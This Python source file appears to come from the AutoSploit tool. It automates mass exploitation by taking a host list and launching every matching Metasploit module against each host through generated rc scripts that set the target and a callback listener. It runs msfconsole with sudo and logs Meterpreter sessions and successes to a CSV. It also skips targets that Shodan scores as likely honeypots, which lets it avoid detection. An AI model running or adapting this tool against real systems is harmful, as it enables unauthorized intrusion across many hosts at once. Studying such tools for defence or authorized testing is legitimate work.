import re
import csv
import datetime

from os import (
    makedirs,
    path,
    linesep
)

import lib.settings
import lib.output
import api_calls.honeyscore_hook


def whitelist_wash(hosts, whitelist_file):
    """
    remove IPs from hosts list that do not appear in WHITELIST_FILE
    """
    try:
        whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()]
        lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts))))
        washed_hosts = []
        # return supplied hosts if whitelist file is empty
        if len(whitelist_hosts) == 0:
            return hosts
        else:
            for host in hosts:
                if host.strip() in whitelist_hosts:
                    washed_hosts.append(host)

        return washed_hosts
    except IOError:
        lib.output.warning("unable to whitewash host list, does the file exist?")
        return hosts


class AutoSploitExploiter(object):

    sorted_modules = []

    def __init__(self, configuration, all_modules, hosts=None, **kwargs):
        self.hosts = hosts
        self.configuration = configuration
        self.mods = all_modules
        self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH)
        self.query_file = open(self.query).read()
        self.single = kwargs.get("single", None)
        self.ruby_exec = kwargs.get("ruby_exec", False)
        self.msf_path = kwargs.get("msf_path", None)
        self.dry_run = kwargs.get("dryRun", False)
        self.check_honey = kwargs.get("check_honey", False)
        self.shodan_token = kwargs.get("shodan_token", None)
        self.compare_honey = kwargs.get("compare_honey", 0.0)

    def view_sorted(self):
        """
        view the modules that have been sorted by the relevance
        there is a chance this will display 0 (see TODO[1])
        """
        for mod in self.sorted_modules:
            print(mod)

    def sort_modules_by_query(self):
        """
        sort modules by relevance after reading the query from the
        temp file
        """
        for mod in self.mods:
            if self.query_file.strip() in mod:
                self.sorted_modules.append(mod)
        return self.sorted_modules

    def start_exploit(self, sep="*" * 10):
        """
        start the exploit, there is still no rollover but it's being worked
        """
        if self.dry_run:
            lib.settings.close("dry run was initiated, exploitation will not be done")

        today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss")
        current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable)
        try:
            makedirs(current_run_path)
        except OSError:
            current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable + "(1)")
            makedirs(current_run_path)

        report_path = path.join(current_run_path, "report.csv")
        with open(report_path, 'w') as f:
            csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
            csv_file.writerow(['Target Host',
                               'Date (UTC)',
                               'MSF Module',
                               "LocalHost",
                               "Listening Port",
                               "Successful Logs",
                               "Failure Logs",
                               "All Logs"])

        lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts)))

        win_total = 0
        fail_total = 0
        skip_amount = 0
        lib.settings.MSF_LAUNCHED = True

        for host in self.hosts:
            host = host.strip()
            if self.check_honey:
                lib.output.misc_info("checking if {} is a honeypot".format(host))
                honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request()
                if honey_score >= self.compare_honey:
                    lib.output.warning(
                        "honeypot score ({}) is above (or equal to) requested, skipping target".format(honey_score)
                    )
                    skip = True
                    skip_amount += 1
                else:
                    skip = False
            else:
                skip = False

            if not skip:
                current_host_path = path.join(current_run_path, host.strip())
                makedirs(current_host_path)

                for mod in self.mods:
                    if not self.dry_run:
                        lib.output.info(
                            "launching exploit '{}' against host '{}'".format(
                                mod.strip(), host.strip()
                            )
                        )

                    cmd_template = (
                        "sudo {use_ruby} {msf_path} -r {rc_script_path} -q"
                    )

                    use_ruby = "ruby" if self.ruby_exec else ""
                    msf_path = self.msf_path if self.msf_path is not None else "msfconsole"

                    # What's the point of having a workspace if you overwrite it every fucking time..
                    rc_script_template = (
                        "workspace -a {workspace}\n"
                        "use {module_name}\n"
                        "setg lhost {lhost}\n"
                        "setg lport {lport}\n"
                        "setg verbose true\n"
                        "setg threads 20\n"
                        "set rhost {rhost}\n"
                        "set rhosts {rhosts}\n"
                        "run -z\n"
                        "exit -y\n"
                    )

                    module_name = mod.strip()
                    workspace = self.configuration[0]
                    lhost = self.configuration[1]
                    lport = self.configuration[2]
                    rhost = host.strip()

                    current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip())
                    with open(current_rc_script_path, 'w') as f:

                        f.writelines(rc_script_template.format(
                            module_name=module_name,
                            workspace=workspace,
                            lhost=lhost,
                            lport=lport,
                            rhost=rhost,
                            rhosts=rhost
                        ))

                    with open(report_path, 'a') as f:

                        cmd = cmd_template.format(
                            use_ruby=use_ruby,
                            msf_path=msf_path,
                            rc_script_path=current_rc_script_path
                        )

                        output = [""]
                        if not self.dry_run:
                            output = lib.settings.cmdline(cmd)

                        ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
                        msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]

                        msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or
                                                 'Meterpreter' in x or
                                                 'Session' in x or
                                                 'Sending stage' in x]

                        msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)]

                        if len(msf_wins):
                            win_total += 1
                        if len(msf_fails):
                            fail_total += 1

                        csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
                        csv_file.writerow([rhost,
                                           today_printable,
                                           module_name,
                                           lhost,
                                           lport,
                                           linesep.join(msf_wins),
                                           linesep.join(msf_fails),
                                           linesep.join(msf_output_lines)])

        print("")
        lib.output.info("{}RESULTS{}".format(sep, sep))

        if self.dry_run:
            lib.output.info("\tDRY RUN!")
            lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts)))
        else:
            lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount))
            lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total))
            lib.output.info("\t{} exploit failed.".format(fail_total))

        lib.output.info("\tExploit run saved to {}".format(str(current_run_path)))
        lib.output.info("\tReport saved to {}".format(str(report_path)))
